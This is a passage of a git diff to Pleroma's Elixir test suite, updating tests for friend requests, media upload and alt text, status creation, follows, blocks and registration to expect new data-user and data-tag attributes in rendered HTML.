assert json_response(conn, 200) == %{"status" => "success"}
# Wait a second for the started task to end
:timer.sleep(1000)
end
end
describe "GET /api/pleroma/friend_requests" do
test "it lists friend requests" do
user = insert(:user)
other_user = insert(:user)
{:ok, _activity} = ActivityPub.follow(other_user, user)
user = Repo.get(User, user.id)
other_user = Repo.get(User, other_user.id)
assert User.following?(other_user, user) == false
conn =
build_conn()
|> assign(:user, user)
|> get("/api/pleroma/friend_requests")
assert [relationship] = json_response(conn, 200)
assert other_user.id == relationship["id"]
end
end
describe "POST /api/pleroma/friendships/approve" do
test "it approves a friend request" do
user = insert(:user)
other_user = insert(:user)
{:ok, _activity} = ActivityPub.follow(other_user, user)
user = Repo.get(User, user.id)
other_user = Repo.get(User, other_user.id)
assert User.following?(other_user, user) == false
conn =
build_conn()
|> assign(:user, user)
|> post("/api/pleroma/friendships/approve", %{"user_id" => to_string(other_user.id)})
assert relationship = json_response(conn, 200)
assert other_user.id == relationship["id"]
assert relationship["follows_you"] == true
end
end
describe "POST /api/pleroma/friendships/deny" do
test "it denies a friend request" do
user = insert(:user)
other_user = insert(:user)
{:ok, _activity} = ActivityPub.follow(other_user, user)
user = Repo.get(User, user.id)
other_user = Repo.get(User, other_user.id)
assert User.following?(other_user, user) == false
conn =
build_conn()
|> assign(:user, user)
|> post("/api/pleroma/friendships/deny", %{"user_id" => to_string(other_user.id)})
assert relationship = json_response(conn, 200)
assert other_user.id == relationship["id"]
assert relationship["follows_you"] == false
end
end
describe "GET /api/pleroma/search_user" do
test "it returns users, ordered by similarity", %{conn: conn} do
user = insert(:user, %{name: "eal"})
user_two = insert(:user, %{name: "ean"})
user_three = insert(:user, %{name: "ebn"})
resp =
conn
|> get(twitter_api_search__path(conn, :search_user), query: "eal")
|> json_response(200)
assert length(resp) == 3
assert [user.id, user_two.id, user_three.id] == Enum.map(resp, fn %{"id" => id} -> id end)
end
end
+
+ describe "POST /api/media/upload" do
+ setup context do
+ Pleroma.DataCase.ensure_local_uploader(context)
+ end
+
+ test "it performs the upload and sets `data[actor]` with AP id of uploader user", %{
+ conn: conn
+ } do
+ user = insert(:user)
+
+ upload_filename = "test/fixtures/image_tmp.jpg"
+ File.cp!("test/fixtures/image.jpg", upload_filename)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname(upload_filename),
+ filename: "image.jpg"
+ }
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> put_req_header("content-type", "application/octet-stream")
+ |> post("/api/media/upload", %{
+ "media" => file
+ })
+ |> json_response(:ok)
+
+ assert response["media_id"]
+ object = Repo.get(Object, response["media_id"])
+ assert object
+ assert object.data["actor"] == User.ap_id(user)
+ end
+ end
+
+ describe "POST /api/media/metadata/create" do
+ setup do
+ object = insert(:note)
+ user = User.get_by_ap_id(object.data["actor"])
+ %{object: object, user: user}
+ end
+
+ test "it returns :forbidden status on attempt to modify someone else's upload", %{
+ conn: conn,
+ object: object
+ } do
+ initial_description = object.data["name"]
+ another_user = insert(:user)
+
+ conn
+ |> assign(:user, another_user)
+ |> post("/api/media/metadata/create", %{"media_id" => object.id})
+ |> json_response(:forbidden)
+
+ object = Repo.get(Object, object.id)
+ assert object.data["name"] == initial_description
+ end
+
+ test "it updates `data[name]` of referenced Object with provided value", %{
+ conn: conn,
+ object: object,
+ user: user
+ } do
+ description = "Informative description of the image. Initial value: #{object.data["name"]}}"
+
+ conn
+ |> assign(:user, user)
+ |> post("/api/media/metadata/create", %{
+ "media_id" => object.id,
+ "alt_text" => %{"text" => description}
+ })
+ |> json_response(:no_content)
+
+ object = Repo.get(Object, object.id)
+ assert object.data["name"] == description
+ end
+ end
end
diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs
index 28230699f..05f832de0 100644
--- a/test/web/twitter_api/twitter_api_test.exs
+++ b/test/web/twitter_api/twitter_api_test.exs
@@ -1,410 +1,412 @@
defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
use Pleroma.DataCase
alias Pleroma.Builders.UserBuilder
alias Pleroma.Web.TwitterAPI.{TwitterAPI, UserView}
alias Pleroma.{Activity, User, Object, Repo, UserInviteToken}
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.TwitterAPI.ActivityView
import Pleroma.Factory
test "create a status" do
user = insert(:user)
- _mentioned_user = insert(:user, %{nickname: "shp", ap_id: "shp"})
+ mentioned_user = insert(:user, %{nickname: "shp", ap_id: "shp"})
object_data = %{
"type" => "Image",
"url" => [
%{
"type" => "Link",
"mediaType" => "image/jpg",
"href" => "http://example.org/image.jpg"
}
],
"uuid" => 1
}
object = Repo.insert!(%Object{data: object_data})
input = %{
"status" =>
"Hello again, @shp.<script></script>\nThis is on another :moominmamma: line. #2hu #epic #phantasmagoric",
"media_ids" => [object.id]
}
{:ok, activity = %Activity{}} = TwitterAPI.create_status(user, input)
expected_text =
- "Hello again, <span><a class='mention' href='shp'>@<span>shp</span></a></span>.&lt;script&gt;&lt;/script&gt;<br>This is on another :moominmamma: line. <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a> <a href='http://localhost:4001/tag/epic' rel='tag'>#epic</a> <a href='http://localhost:4001/tag/phantasmagoric' rel='tag'>#phantasmagoric</a><br><a href=\"http://example.org/image.jpg\" class='attachment'>image.jpg</a>"
+ "Hello again, <span><a data-user='#{mentioned_user.id}' class='mention' href='shp'>@<span>shp</span></a></span>.&lt;script&gt;&lt;/script&gt;<br>This is on another :moominmamma: line. <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a> <a data-tag='epic' href='http://localhost:4001/tag/epic' rel='tag'>#epic</a> <a data-tag='phantasmagoric' href='http://localhost:4001/tag/phantasmagoric' rel='tag'>#phantasmagoric</a><br><a href=\"http://example.org/image.jpg\" class='attachment'>image.jpg</a>"
assert get_in(activity.data, ["object", "content"]) == expected_text
assert get_in(activity.data, ["object", "type"]) == "Note"
assert get_in(activity.data, ["object", "actor"]) == user.ap_id
assert get_in(activity.data, ["actor"]) == user.ap_id
assert Enum.member?(get_in(activity.data, ["cc"]), User.ap_followers(user))
assert Enum.member?(
get_in(activity.data, ["to"]),
"https://www.w3.org/ns/activitystreams#Public"
)
assert Enum.member?(get_in(activity.data, ["to"]), "shp")
assert activity.local == true
assert %{"moominmamma" => "http://localhost:4001/finmoji/128px/moominmamma-128.png"} =
activity.data["object"]["emoji"]
# hashtags
assert activity.data["object"]["tag"] == ["2hu", "epic", "phantasmagoric"]
# Add a context
assert is_binary(get_in(activity.data, ["context"]))
assert is_binary(get_in(activity.data, ["object", "context"]))
assert is_list(activity.data["object"]["attachment"])
assert activity.data["object"] == Object.get_by_ap_id(activity.data["object"]["id"]).data
user = User.get_by_ap_id(user.ap_id)
assert user.info.note_count == 1
end
test "create a status that is a reply" do
user = insert(:user)
input = %{
"status" => "Hello again."
}
{:ok, activity = %Activity{}} = TwitterAPI.create_status(user, input)
input = %{
"status" => "Here's your (you).",
"in_reply_to_status_id" => activity.id
}
{:ok, reply = %Activity{}} = TwitterAPI.create_status(user, input)
assert get_in(reply.data, ["context"]) == get_in(activity.data, ["context"])
assert get_in(reply.data, ["object", "context"]) ==
get_in(activity.data, ["object", "context"])
assert get_in(reply.data, ["object", "inReplyTo"]) == get_in(activity.data, ["object", "id"])
assert get_in(reply.data, ["object", "inReplyToStatusId"]) == activity.id
end
test "Follow another user using user_id" do
user = insert(:user)
followed = insert(:user)
{:ok, user, followed, _activity} = TwitterAPI.follow(user, %{"user_id" => followed.id})
assert User.ap_followers(followed) in user.following
{:error, msg} = TwitterAPI.follow(user, %{"user_id" => followed.id})
assert msg == "Could not follow user: #{followed.nickname} is already on your list."
end
test "Follow another user using screen_name" do
user = insert(:user)
followed = insert(:user)
{:ok, user, followed, _activity} =
TwitterAPI.follow(user, %{"screen_name" => followed.nickname})
assert User.ap_followers(followed) in user.following
followed = User.get_by_ap_id(followed.ap_id)
assert followed.info.follower_count == 1
{:error, msg} = TwitterAPI.follow(user, %{"screen_name" => followed.nickname})
assert msg == "Could not follow user: #{followed.nickname} is already on your list."
end
test "Unfollow another user using user_id" do
unfollowed = insert(:user)
user = insert(:user, %{following: [User.ap_followers(unfollowed)]})
ActivityPub.follow(user, unfollowed)
{:ok, user, unfollowed} = TwitterAPI.unfollow(user, %{"user_id" => unfollowed.id})
assert user.following == []
{:error, msg} = TwitterAPI.unfollow(user, %{"user_id" => unfollowed.id})
assert msg == "Not subscribed!"
end
test "Unfollow another user using screen_name" do
unfollowed = insert(:user)
user = insert(:user, %{following: [User.ap_followers(unfollowed)]})
ActivityPub.follow(user, unfollowed)
{:ok, user, unfollowed} = TwitterAPI.unfollow(user, %{"screen_name" => unfollowed.nickname})
assert user.following == []
{:error, msg} = TwitterAPI.unfollow(user, %{"screen_name" => unfollowed.nickname})
assert msg == "Not subscribed!"
end
test "Block another user using user_id" do
user = insert(:user)
blocked = insert(:user)
{:ok, user, blocked} = TwitterAPI.block(user, %{"user_id" => blocked.id})
assert User.blocks?(user, blocked)
end
test "Block another user using screen_name" do
user = insert(:user)
blocked = insert(:user)
{:ok, user, blocked} = TwitterAPI.block(user, %{"screen_name" => blocked.nickname})
assert User.blocks?(user, blocked)
end
test "Unblock another user using user_id" do
unblocked = insert(:user)
user = insert(:user)
{:ok, user, _unblocked} = TwitterAPI.block(user, %{"user_id" => unblocked.id})
{:ok, user, _unblocked} = TwitterAPI.unblock(user, %{"user_id" => unblocked.id})
assert user.info.blocks == []
end
test "Unblock another user using screen_name" do
unblocked = insert(:user)
user = insert(:user)
{:ok, user, _unblocked} = TwitterAPI.block(user, %{"screen_name" => unblocked.nickname})
{:ok, user, _unblocked} = TwitterAPI.unblock(user, %{"screen_name" => unblocked.nickname})
assert user.info.blocks == []
end
test "upload a file" do
+ user = insert(:user)
+
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image.jpg"),
filename: "an_image.jpg"
}
- response = TwitterAPI.upload(file)
+ response = TwitterAPI.upload(file, user)
assert is_binary(response)
end
test "it favorites a status, returns the updated activity" do
user = insert(:user)
note_activity = insert(:note_activity)
{:ok, status} = TwitterAPI.fav(user, note_activity.id)
updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
assert status == updated_activity
end
test "it unfavorites a status, returns the updated activity" do
user = insert(:user)
note_activity = insert(:note_activity)
object = Object.get_by_ap_id(note_activity.data["object"]["id"])
{:ok, _like_activity, _object} = ActivityPub.like(user, object)
updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
assert ActivityView.render("activity.json", activity: updated_activity)["fave_num"] == 1
{:ok, activity} = TwitterAPI.unfav(user, note_activity.id)
assert ActivityView.render("activity.json", activity: activity)["fave_num"] == 0
end
test "it retweets a status and returns the retweet" do
user = insert(:user)
note_activity = insert(:note_activity)
{:ok, status} = TwitterAPI.repeat(user, note_activity.id)
updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
assert status == updated_activity
end
test "it unretweets an already retweeted status" do
user = insert(:user)
note_activity = insert(:note_activity)
{:ok, _status} = TwitterAPI.repeat(user, note_activity.id)
{:ok, status} = TwitterAPI.unrepeat(user, note_activity.id)
updated_activity = Activity.get_by_ap_id(note_activity.data["id"])
assert status == updated_activity
end
test "it registers a new user and returns the user." do
data = %{
"nickname" => "lain",
"email" => "lain@wired.jp",
"fullname" => "lain iwakura",
"bio" => "close the world.",
"password" => "bear",
"confirm" => "bear"
}
{:ok, user} = TwitterAPI.register_user(data)
fetched_user = Repo.get_by(User, nickname: "lain")
assert UserView.render("show.json", %{user: user}) ==
UserView.render("show.json", %{user: fetched_user})
end
test "it registers a new user and parses mentions in the bio" do
data1 = %{
"nickname" => "john",
"email" => "john@gmail.com",
"fullname" => "John Doe",
"bio" => "test",
"password" => "bear",
"confirm" => "bear"
}
{:ok, user1} = TwitterAPI.register_user(data1)
data2 = %{
"nickname" => "lain",
"email" => "lain@wired.jp",
"fullname" => "lain iwakura",
"bio" => "@john test",
"password" => "bear",
"confirm" => "bear"
}
{:ok, user2} = TwitterAPI.register_user(data2)
expected_text =
- "<span><a class='mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test"
+ "<span><a data-user='#{user1.id}' class='mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test"
assert user2.bio == expected_text
end
@moduletag skip: "needs 'registrations_open: false' in config"
test "it registers a new user via invite token and returns the user." do
{:ok, token} = UserInviteToken.create_token()
data = %{
"nickname" => "vinny",
"email" => "pasta@pizza.vs",
"fullname" => "Vinny Vinesauce",
"bio" => "streamer",
"password" => "hiptofbees",
"confirm" => "hiptofbees",
"token" => token.token
}
{:ok, user} = TwitterAPI.register_user(data)
fetched_user = Repo.get_by(User, nickname: "vinny")
token = Repo.get_by(UserInviteToken, token: token.token)
assert token.used == true
assert UserView.render("show.json", %{user: user}) ==
UserView.render("show.json", %{user: fetched_user})
end
@moduletag skip: "needs 'registrations_open: false' in config"
test "it returns an error if invalid token submitted" do
data = %{
"nickname" => "GrimReaper",
"email" => "death@reapers.afterlife",
"fullname" => "Reaper Grim",
"bio" => "Your time has come",
"password" => "scythe",
"confirm" => "scythe",
"token" => "DudeLetMeInImAFairy"
}
{:error, msg} = TwitterAPI.register_user(data)
assert msg == "Invalid token"
refute Repo.get_by(User, nickname: "GrimReaper")
end
@moduletag skip: "needs 'registrations_open: false' in config"
test "it returns an error if expired token submitted" do
{:ok, token} = UserInviteToken.create_token()
UserInviteToken.mark_as_used(token.token)
data = %{
"nickname" => "GrimReaper",
"email" => "death@reapers.afterlife",
"fullname" => "Reaper Grim",
"bio" => "Your time has come",
"password" => "scythe",
"confirm" => "scythe",
"token" => token.token
}
{:error, msg} = TwitterAPI.register_user(data)
assert msg == "Expired token"
refute Repo.get_by(User, nickname: "GrimReaper")
end
test "it returns the error on registration problems" do
data = %{
"nickname" => "lain",
"email" => "lain@wired.jp",
"fullname" => "lain iwakura",
"bio" => "close the world.",
"password" => "bear"
}
{:error, error_object} = TwitterAPI.register_user(data)
assert is_binary(error_object[:error])
refute Repo.get_by(User, nickname: "lain")
end
test "it assigns an integer conversation_id" do
note_activity = insert(:note_activity)
status = ActivityView.render("activity.json", activity: note_activity)
assert is_number(status["statusnet_conversation_id"])
end
setup do
Supervisor.terminate_child(Pleroma.Supervisor, Cachex)
Supervisor.restart_child(Pleroma.Supervisor, Cachex)
:ok
end
describe "context_to_conversation_id" do
test "creates a mapping object" do
conversation_id = TwitterAPI.context_to_conversation_id("random context")
object = Object.get_by_ap_id("random context")
assert conversation_id == object.id
end
test "returns an existing mapping for an existing object" do
{:ok, object} = Object.context_mapping("random context") |> Repo.insert()
conversation_id = TwitterAPI.context_to_conversation_id("random context")
assert conversation_id == object.id
end
end
describe "fetching a user by uri" do
test "fetches a user by uri" do
id = "https://mastodon.social/users/lambadalambda"
user = insert(:user)
{:ok, represented} = TwitterAPI.get_external_profile(user, id)
remote = User.get_by_ap_id(id)
assert represented["id"] == UserView.render("show.json", %{user: remote, for: user})["id"]
# Also fetches the feed.
# assert Activity.get_create_activity_by_object_ap_id("tag:mastodon.social,2017-04-05:objectId=1641750:objectType=Status")
end
end
end
diff --git a/test/web/twitter_api/views/activity_view_test.exs b/test/web/twitter_api/views/activity_view_test.exs
index 5cef06f88..bc36b0e90 100644
--- a/test/web/twitter_api/views/activity_view_test.exs
+++ b/test/web/twitter_api/views/activity_view_test.exs
@@ -1,242 +1,242 @@
defmodule Pleroma.Web.TwitterAPI.ActivityViewTest do
use Pleroma.DataCase
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.CommonAPI.Utils
alias Pleroma.Web.TwitterAPI.ActivityView
alias Pleroma.Web.TwitterAPI.UserView
alias Pleroma.Web.TwitterAPI.TwitterAPI
alias Pleroma.Repo
alias Pleroma.Activity
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
import Pleroma.Factory
import Mock
test "a create activity with a note" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})
result = ActivityView.render("activity.json", activity: activity)
convo_id = TwitterAPI.context_to_conversation_id(activity.data["object"]["context"])
expected = %{
"activity_type" => "post",
"attachments" => [],
"attentions" => [
UserView.render("show.json", %{user: other_user})
],
"created_at" => activity.data["object"]["published"] |> Utils.date_to_asctime(),
"external_url" => activity.data["object"]["id"],
"fave_num" => 0,
"favorited" => false,
"id" => activity.id,
"in_reply_to_status_id" => nil,
"in_reply_to_screen_name" => nil,
"in_reply_to_user_id" => nil,
"in_reply_to_profileurl" => nil,
"in_reply_to_ostatus_uri" => nil,
"is_local" => true,
"is_post_verb" => true,
"possibly_sensitive" => false,
"repeat_num" => 0,
"repeated" => false,
"statusnet_conversation_id" => convo_id,
"statusnet_html" =>
- "Hey <span><a href=\"#{other_user.ap_id}\">@<span>shp</span></a></span>!",
+ "Hey <span><a data-user=\"#{other_user.id}\" href=\"#{other_user.ap_id}\">@<span>shp</span></a></span>!",
"tags" => [],
"text" => "Hey @shp!",
"uri" => activity.data["object"]["id"],
"user" => UserView.render("show.json", %{user: user}),
"visibility" => "direct",
"summary" => nil
}
assert result == expected
end
test "a list of activities" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
convo_id = TwitterAPI.context_to_conversation_id(activity.data["object"]["context"])
mocks = [
{
TwitterAPI,
[],
[context_to_conversation_id: fn _ -> false end]
},
{
User,
[:passthrough],
[get_cached_by_ap_id: fn _ -> nil end]
}
]
with_mocks mocks do
[result] = ActivityView.render("index.json", activities: [activity])
assert result["statusnet_conversation_id"] == convo_id
assert result["user"]
refute called(TwitterAPI.context_to_conversation_id(:_))
refute called(User.get_cached_by_ap_id(user.ap_id))
refute called(User.get_cached_by_ap_id(other_user.ap_id))
end
end
test "an activity that is a reply" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
{:ok, answer} =
CommonAPI.post(other_user, %{"status" => "Hi!", "in_reply_to_status_id" => activity.id})
result = ActivityView.render("activity.json", %{activity: answer})
assert result["in_reply_to_status_id"] == activity.id
end
test "a like activity" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
{:ok, like, _object} = CommonAPI.favorite(activity.id, other_user)
result = ActivityView.render("activity.json", activity: like)
expected = %{
"activity_type" => "like",
"created_at" => like.data["published"] |> Utils.date_to_asctime(),
"external_url" => like.data["id"],
"id" => like.id,
"in_reply_to_status_id" => activity.id,
"is_local" => true,
"is_post_verb" => false,
"statusnet_html" => "shp favorited a status.",
"text" => "shp favorited a status.",
"uri" => "tag:#{like.data["id"]}:objectType=Favourite",
"user" => UserView.render("show.json", user: other_user)
}
assert result == expected
end
test "a like activity for deleted post" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
{:ok, like, _object} = CommonAPI.favorite(activity.id, other_user)
CommonAPI.delete(activity.id, user)
result = ActivityView.render("activity.json", activity: like)
expected = %{
"activity_type" => "like",
"created_at" => like.data["published"] |> Utils.date_to_asctime(),
"external_url" => like.data["id"],
"id" => like.id,
"in_reply_to_status_id" => nil,
"is_local" => true,
"is_post_verb" => false,
"statusnet_html" => "shp favorited a status.",
"text" => "shp favorited a status.",
"uri" => "tag:#{like.data["id"]}:objectType=Favourite",
"user" => UserView.render("show.json", user: other_user)
}
assert result == expected
end
test "an announce activity" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
{:ok, announce, _object} = CommonAPI.repeat(activity.id, other_user)
convo_id = TwitterAPI.context_to_conversation_id(activity.data["object"]["context"])
activity = Repo.get(Activity, activity.id)
result = ActivityView.render("activity.json", activity: announce)
expected = %{
"activity_type" => "repeat",
"created_at" => announce.data["published"] |> Utils.date_to_asctime(),
"external_url" => announce.data["id"],
"id" => announce.id,
"is_local" => true,
"is_post_verb" => false,
"statusnet_html" => "shp retweeted a status.",
"text" => "shp retweeted a status.",
"uri" => "tag:#{announce.data["id"]}:objectType=note",
"user" => UserView.render("show.json", user: other_user),
"retweeted_status" => ActivityView.render("activity.json", activity: activity),
"statusnet_conversation_id" => convo_id
}
assert result == expected
end
test "A follow activity" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
{:ok, follower} = User.follow(user, other_user)
{:ok, follow} = ActivityPub.follow(follower, other_user)
result = ActivityView.render("activity.json", activity: follow)
expected = %{
"activity_type" => "follow",
"attentions" => [],
"created_at" => follow.data["published"] |> Utils.date_to_asctime(),
"external_url" => follow.data["id"],
"id" => follow.id,
"in_reply_to_status_id" => nil,
"is_local" => true,
"is_post_verb" => false,
"statusnet_html" => "#{user.nickname} started following shp",
"text" => "#{user.nickname} started following shp",
"user" => UserView.render("show.json", user: user)
}
assert result == expected
end
test "a delete activity" do
user = insert(:user)
{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
{:ok, delete} = CommonAPI.delete(activity.id, user)
result = ActivityView.render("activity.json", activity: delete)
expected = %{
"activity_type" => "delete",
"attentions" => [],
"created_at" => delete.data["published"] |> Utils.date_to_asctime(),
"external_url" => delete.data["id"],
"id" => delete.id,
"in_reply_to_status_id" => nil,
"is_local" => true,
"is_post_verb" => false,
"statusnet_html" => "deleted notice {{tag",
"text" => "deleted notice {{tag",
"uri" => delete.data["object"],
"user" => UserView.render("show.json", user: user)
}
assert result == expected
end
end

File Metadata

Mime Type
text/x-diff
Expires
Sat, Oct 31, 7:07 PM (12 h, 17 m)
Storage Engine
blob
Storage Format
Raw Data
Storage Handle
1801699
Default Alt Text
(396 KB)

Event Timeline